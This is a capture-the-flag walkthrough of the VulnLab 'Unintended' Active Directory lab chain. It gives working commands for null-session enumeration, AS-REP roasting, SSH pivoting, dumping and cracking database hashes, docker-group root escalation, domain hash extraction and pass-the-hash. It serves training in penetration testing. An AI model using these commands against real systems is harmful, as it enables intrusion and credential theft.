1. 1. Unintended VulnLab Chain - Complete Walkthrough and Writeup
    1. 1.1. Initial Reconnaissance
      1. 1.1.1. Nmap Scan - DC (10.10.231.229)
      2. 1.1.2. Nmap Scan - Web Server (10.10.231.230)
      3. 1.1.3. Nmap Scan - Backup Server (10.10.231.231)
    2. 1.2. Active Directory Enumeration
      1. 1.2.1. SMB Null Authentication
      2. 1.2.2. LDAP Enumeration
      3. 1.2.3. AS-REP Roasting Attempt
    3. 1.3. DNS Enumeration - Critical Discovery
    4. 1.4. Gitea Repository Discovery
      1. 1.4.1. Repository Analysis - DevOps Repo
    5. 1.5. SFTP Access and Tunneling
      1. 1.5.1. Initial SFTP Connection
      2. 1.5.2. SSH Dynamic Port Forwarding
      3. 1.5.3. Internal Network Scanning
    6. 1.6. MySQL Database Exploitation
      1. 1.6.1. Database Access
      2. 1.6.2. Gitea User Credential Extraction
      3. 1.6.3. Hash Cracking
      4. 1.6.4. Credentials Found:
    7. 1.7. Gitea Administrator Access
      1. 1.7.1. Home Backup Repository
    8. 1.8. LDAP Enumeration with Valid Credentials
      1. 1.8.1. Computer Enumeration
    9. 1.9. Lateral Movement - Web Server
      1. 1.9.1. SSH Access as Juan
      2. 1.9.2. Initial Host Enumeration
    10. 1.10. Mattermost Access and Intelligence Gathering
      1. 1.10.1. Chat Log Analysis
      2. 1.10.2. PostgreSQL Discovery
    11. 1.11. Mattermost Database Exploitation
      1. 1.11.1. Default Credential Research
      2. 1.11.2. Database Access
      3. 1.11.3. User Credential Extraction
    12. 1.12. Password Cracking - Custom Wordlist
      1. 1.12.1. Intelligence-Driven Approach
      2. 1.12.2. Hash Cracking
    13. 1.13. Domain Credential Discovery
      1. 1.13.1. Mattermost as Abbie
      2. 1.13.2. Credential Validation
    14. 1.14. Privilege Escalation - Backup Server
      1. 1.14.1. SSH Access as Abbie
      2. 1.14.2. Docker Group Membership
      3. 1.14.3. Root Privilege Escalation
      4. 1.14.4. FTP Administrator Credentials
    15. 1.15. Domain Administrator Compromise
      1. 1.15.1. FTP Backup Analysis
      2. 1.15.2. NTDS.dit Secrets Extraction
      3. 1.15.3. Pass-the-Hash Attack

VL-Unintended

Unintended VulnLab Chain - Complete Walkthrough and Writeup

Welcome to this comprehensive walkthrough and writeup for the Unintended chain from VulnLab, a challenging Pro-Lab now on Hack the Box. This detailed guide covers the complete exploitation path through a multi-machine Active Directory environment, demonstrating real-world attack techniques used in professional penetration testing engagements.

Chain Difficulty: Medium
Lab Type: VulnLab - HTB Chain / Pro-Lab
Skills Required: Active Directory enumeration, lateral movement, privilege escalation, Docker exploitation

This writeup is designed for penetration testers and ethical hackers looking to enhance their skills in complex multi-host environments. Whether you’re preparing for OSCP, OSEP, or simply improving your red team capabilities, this walkthrough provides valuable insights into comprehensive network exploitation.


Initial Reconnaissance

We initially discover three IP addresses in the target environment:

1
2
3
10.10.231.229 DC.unintended.vl
10.10.231.230 web
10.10.231.231 backup

Nmap Scan - DC (10.10.231.229)

Running a comprehensive Nmap scan against the domain controller reveals:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
PORT      STATE SERVICE      REASON         VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.6
53/tcp open domain syn-ack ttl 63 (generic dns response: NOTIMP)
88/tcp open kerberos-sec syn-ack ttl 63 (server time: 2025-11-05 18:58:58Z)
135/tcp open msrpc syn-ack ttl 63 Microsoft Windows RPC
139/tcp open netbios-ssn syn-ack ttl 63 Samba smbd 4.6.2
389/tcp open ldap syn-ack ttl 63 (Anonymous bind OK)
445/tcp open netbios-ssn syn-ack ttl 63 Samba smbd 4.6.2
464/tcp open kpasswd5? syn-ack ttl 63
636/tcp open ssl/ldap syn-ack ttl 63 (Anonymous bind OK)
3268/tcp open ldap syn-ack ttl 63 (Anonymous bind OK)
3269/tcp open ssl/ldap syn-ack ttl 63 (Anonymous bind OK)
49152/tcp open msrpc syn-ack ttl 63 Microsoft Windows RPC
49153/tcp open msrpc syn-ack ttl 63 Microsoft Windows RPC
49154/tcp open msrpc syn-ack ttl 63 Microsoft Windows RPC

Key Observations:

  • Linux-based Active Directory Domain Controller (Samba)
  • Anonymous LDAP bind enabled - excellent enumeration vector
  • SSL certificate reveals: commonName=DC.unintended.vl

Let’s add the domain to our /etc/hosts file:

1
unintended.vl DC.unintended.vl

Nmap Scan - Web Server (10.10.231.230)

1
2
3
4
5
PORT     STATE SERVICE REASON         VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.6
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.52
8065/tcp open unknown syn-ack ttl 62
8200/tcp open http syn-ack ttl 62 Duplicati httpserver

Discovered Services:

Port 80 - Under Construction page with countdown timer:
Countdown page on port 80

Notable finding: Email address admin@web.unintended.vl discovered in page source.

Port 8065 - Mattermost instance (team collaboration platform):
Mattermost login page

Port 8200 - Duplicati backup service:
Duplicati login interface

Nmap Scan - Backup Server (10.10.231.231)

1
2
3
PORT   STATE SERVICE REASON         VERSION
21/tcp open ftp syn-ack ttl 63 pyftpdlib 1.5.7
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.6

Active Directory Enumeration

SMB Null Authentication

Testing for null authentication on the domain controller:

1
nxc smb dc -u '' -p '' --users

Null authentication user enumeration

Discovered Users:

1
2
3
juan
abbie
cartor

LDAP Enumeration

Extracting base LDAP information:

1
ldapsearch -H ldap://dc.unintended.vl -x -LLL -s base

AS-REP Roasting Attempt

Checking for accounts without Kerberos pre-authentication:

1
GetNPUsers.py -usersfile ~/Downloads/unin/usernames.txt -request -format hashcat -outputfile ASREProastables.txt -dc-ip 10.10.231.229 unintended.vl/

Unfortunately, no accounts have the DONT_REQUIRE_PREAUTH flag set.


DNS Enumeration - Critical Discovery

With standard attack vectors exhausted, we pivot to DNS enumeration:

1
dnsenum --dnsserver 10.10.231.229 --enum -p 0 -s 0 -f /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt unintended.vl

DNS enumeration results

Discovered DNS Records:

1
2
3
4
5
6
7
8
9
10
11
web.unintended.vl.                       900      IN    A        10.10.10.12
web.unintended.vl. 900 IN A 10.10.180.22
backup.unintended.vl. 900 IN A 10.10.10.13
backup.unintended.vl. 900 IN A 10.10.180.23
chat.unintended.vl. 900 IN A 10.10.180.22
dc.unintended.vl. 3600 IN A 10.10.180.21
code.unintended.vl. 900 IN A 10.10.10.12
code.unintended.vl. 900 IN A 10.10.180.22
gc._msdcs.unintended.vl. 900 IN A 10.10.180.21
domaindnszones.unintended.vl. 900 IN A 10.10.180.21
forestdnszones.unintended.vl. 900 IN A 10.10.180.21

Analysis:

  • Internal IPs differ from external IPs
  • dc.unintended.vl10.10.180.21
  • 10.10.10.12 / 10.10.180.2210.10.231.230 (web server)
  • 10.10.10.13 / 10.10.180.2310.10.231.231 (backup server)

Update /etc/hosts:

1
2
10.10.231.230 web.unintended.vl chat.unintended.vl code.unintended.vl
10.10.231.231 backup.unintended.vl

Gitea Repository Discovery

Accessing http://code.unintended.vl/ reveals a Gitea instance:

Gitea code repository

Repository Analysis - DevOps Repo

Examining commit history in the juan/DevOps repository yields multiple sensitive findings:

1. SSH Public Keys Discovery
Found SSH keys for:

  • ratul@devops
  • nanee@devops

2. MySQL Database Credentials
Commit: http://code.unintended.vl/juan/DevOps/commit/7c54501b040a15a0e57beade1c8910609ec7c785

1
2
3
4
5
6
FROM mysql:latest
ENV MYSQL_ROOT_PASSWORD=root
ENV MYSQL_DATABASE=wp_db
ENV MYSQL_USER=wp_user
ENV MYSQL_PASSWORD=<REDACTED>
EXPOSE 3306

While these credentials may not grant immediate access, they reveal the organization’s password complexity policy - a crucial finding for future password spraying attacks.

3. FTP Credentials (Deleted)
Commit: http://code.unintended.vl/juan/DevOps/commit/75f1f713696016f7713e33f836b05ce14784fc22

1
2
3
ENV APP_SECRET 6SU28SH286DY8HS7D
ENV SFTP_USER ftp_user
ENV SFTP_PASS <REDACTED>

SFTP Access and Tunneling

Initial SFTP Connection

Attempting SSH authentication with discovered credentials:

1
ssh ftp_user@10.10.231.230

Returns: This service allows sftp connections only.

Connecting via SFTP:

1
sftp ftp_user@10.10.231.230

SFTP connection established

The SFTP directory appears empty initially, but we can leverage this access for network pivoting.

SSH Dynamic Port Forwarding

Using SFTP credentials to establish a SOCKS proxy:

1
ssh -D 1080 -N ftp_user@10.10.231.230

ProxyChains Configuration:
Edit /etc/proxychains4.conf:

1
socks4 127.0.0.1 1080

Important: Use proxychains4 specifically to avoid system instability.

Internal Network Scanning

Scanning localhost through the tunnel to discover internal services:

1
2
3
proxychains4 nmap -sT -Pn -4 -n \
--min-parallelism 1 --max-parallelism 5 --scan-delay 50ms \
127.0.0.1 -p-

Discovered Internal Ports:

1
2
3
4
5
6
7
8
9
10
11
PORT      STATE SERVICE
22/tcp open ssh
80/tcp open http
222/tcp open rsh-spx
3000/tcp open ppp
3306/tcp open mysql
8000/tcp open http-alt
8065/tcp open unknown
8200/tcp open trivnet1
42603/tcp open unknown
58050/tcp open unknown

MySQL Database Exploitation

Database Access

Using previously discovered MySQL credentials:

1
proxychains4 mysql -h 127.0.0.1 -u root -p

Available Databases:

1
2
3
4
5
6
7
8
9
10
MySQL [(none)]> show databases;
+--------------------+
| Database |
+--------------------+
| gitea |
| information_schema |
| mysql |
| performance_schema |
| sys |
+--------------------+

Gitea User Credential Extraction

1
2
use gitea;
show tables;

Extracting user credentials:

1
select email,passwd,passwd_hash_algo,salt,is_admin from user;

MySQL user table dump

Hash Cracking

Hash Format: The hashes require reformatting to:

1
sha256:<iterations>:<base64_salt>:<base64_hash>

Base64 Encoding Process:

1
2
echo '6f7cf4aa34-----------f9f7ca342fa5' | xxd -r -p | base64
echo 'f57a3d5d199ac9999999996fe7b0-------------78c1dbbe902' | xxd -r -p | base64

Formatted Hash Example:

1
sha256:50000:b3z0qjT+uSIJLvn3yjQvpQ==:9Xo9XRm-----------------------------

Cracking Result:

  • Administrator password successfully cracked
  • Juan’s password: Failed to crack

Credentials Found:

1
administrator:<PASS> (Gitea Admin)

Gitea Administrator Access

Home Backup Repository

Logging into Gitea as administrator reveals a new repository: home-backup

This repository contains a backup of user Juan’s home directory. Examining .bash_history:

Valid credentials in bash history

Credentials Obtained:

1
juan:<REDACTED>

LDAP Enumeration with Valid Credentials

Now with valid domain credentials, we can perform deeper enumeration:

1
2
netexec ldap dc -u 'juan' -p '<REDACTED>' --query "(sAMAccountName=juan)" ""
netexec ldap dc -u 'juan' -p '<REDACTED>' --query "(sAMAccountName=abbie)" ""

Group Memberships:

  • juan → Member of Web Developers group
  • abbie → Member of Backup Operators group

Computer Enumeration

1
netexec ldap dc -u 'juan' -p '<REDACTED>' --query "(objectCategory=computer)" ""

Computer Accounts and SPNs:

BACKUP Computer:

1
2
3
4
5
6
dNSHostName: backup.unintended.vl
servicePrincipalName:
host/BACKUP
host/backup.unintended.vl
RestrictedKrbHost/BACKUP
RestrictedKrbHost/backup.unintended.vl

WEB Computer:

1
2
3
4
5
6
dNSHostName: web.unintended.vl
servicePrincipalName:
host/WEB
host/web.unintended.vl
RestrictedKrbHost/WEB
RestrictedKrbHost/web.unintended.vl

Lateral Movement - Web Server

SSH Access as Juan

Given Juan’s membership in the Web Developers group:

1
ssh -l juan@unintended.vl web.unintended.vl

Success! We now have shell access to the web server.

Initial Host Enumeration

1
2
juan@unintended.vl@web://home$ ls
abbie@unintended.vl administrator@unintended.vl juan@unintended.vl svc

Observations:

  • svc user exists locally (not a domain account)
  • No sudo privileges for juan
  • Standard privilege escalation paths unsuccessful

Mattermost Access and Intelligence Gathering

Testing Juan’s credentials against the Mattermost instance (port 8065):

Success! Credentials work on Mattermost.

Chat Log Analysis

Gitea password hint in chat

Critical Intelligence:

  • Multiple references to PostgreSQL running on the WEB machine
  • Database architecture discussions
  • Potential credential reuse patterns

PostgreSQL Discovery

Confirming PostgreSQL is running in a Docker container:

PostgreSQL in Docker

Container Network: PostgreSQL runs on 172.21.0.3:5432 (not 172.21.0.2)

Verification:

1
proxychains4 nc -vz 172.21.0.3 5432

(remmember to setup proxychains4 use -D port on the ssh command)

Output:

1
2
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  172.21.0.3:5432  ...  OK
Connection to 172.21.0.3 5432 port [tcp/postgresql] succeeded!

Mattermost Database Exploitation

Default Credential Research

Consulting Mattermost Docker documentation:
https://github.com/mattermost/docker/blob/main/env.example

PostgreSQL default credentials

Database Access

1
proxychains4 psql -h 172.21.0.3 -d mattermost -U mmuser

User Credential Extraction

1
2
3
4
5
6
7
8
9
10
SELECT username,
password,
authdata,
authservice,
email,
nickname,
firstname,
lastname,
roles
FROM users;

PostgreSQL user hashes

Extracted Hashes:

1
2
3
$2a$10$XVsJbRoMGb3N-------------------------------------
$2a$10$1LN52Ej8HDk------------------------------
$2a$10$2INgG1HdP0----------------------------------------

Hash Type: bcrypt [Blowfish 32/64 X3]


Password Cracking - Custom Wordlist

Intelligence-Driven Approach

Based on chat log intelligence indicating passwords follow a pattern of Name + Birth Year, we create a custom wordlist:

1
2
3
4
5
6
7
8
9
10
11
# Usernames and year range
usernames = ["abbie", "spencer", "Abbie", "Spencer", "theabbs"]
years = range(1950, 2021) # 1950 to 2020 inclusive

# Generate wordlist
with open("usernames_with_years.txt", "w") as file:
for name in usernames:
for year in years:
file.write(f"{name}{year}\n")

print("File 'usernames_with_years.txt' created successfully!")

Hash Cracking

1
john p_hash --wordlist=./usernames_with_years.txt

John successfully cracks password

Cracked Credential:

1
<RUN THE SCRIPT>

Domain Credential Discovery

Mattermost as Abbie

Logging into Mattermost as Abbie reveals a private conversation with cadams:

Abbie's domain password

Domain Credentials Obtained:

1
abbie:<REDACTED>

Credential Validation

1
netexec smb dc -u abbie -p '<REDACTED>' --shares

Validation successful! Abbie has valid domain credentials.


Privilege Escalation - Backup Server

SSH Access as Abbie

Given Abbie’s membership in Backup Operators:

1
ssh -l abbie@unintended.vl backup.unintended.vl

SSH access as Abbie

Success! Shell access obtained on the backup server.

Docker Group Membership

Checking group memberships reveals Abbie is in the docker group - a critical privilege escalation vector.

Reference: https://www.securitum.com/privilege_escalation_through_docker_group_membership_and_sudo_backdoor.html

Root Privilege Escalation

List available Docker images:

1
docker image ls

Execute privileged container:

1
docker run -v /:/mnt --rm -it python:3.11.2-slim chroot /mnt sh

Root access on backup server

Root access achieved!

FTP Administrator Credentials

While exploring the system as root, we discover FTP admin credentials:

FTP admin credentials

1
2
3
4
Username: ftp_admin
Password: <PASS>
Path: /ftp/volumes/
Permissions: elradfmw

Domain Administrator Compromise

FTP Backup Analysis

Connecting to FTP with admin credentials reveals:

Domain backups on FTP

Critical Discovery:

  • Duplicati backups
  • Active Directory domain database backups

NTDS.dit Secrets Extraction

Extracting secrets from domain backup

Tool Requirements:

1
sudo apt install ldb-tools

Extraction Process:

Reference:
https://samba.tranquil.it/doc/en/samba_fundamentals-about_password_hash.html

Extract Administrator hash:

1
ldbsearch -H ./sam.ldb '(objectClass=user)' sAMAccountName 'unicodepwd'

Convert hash format:

1
python3 -c "import codecs, binascii; print(binascii.hexlify(codecs.decode(b'<HASH>', 'base64')).decode())"

Pass-the-Hash Attack

Using the extracted NTLM hash:

1
smbclient.py unintended.vl/administrator@dc -no-pass -hashes :36fe241ea0eaa----------

Access administrator’s home share:

1
2
use home
get root.txt

Domain Administrator access achieved!


Lab Link:
https://api.vulnlab.com/api/v1/share?id=4f044c96-ae6d-4745-9233-5b6b559a58cf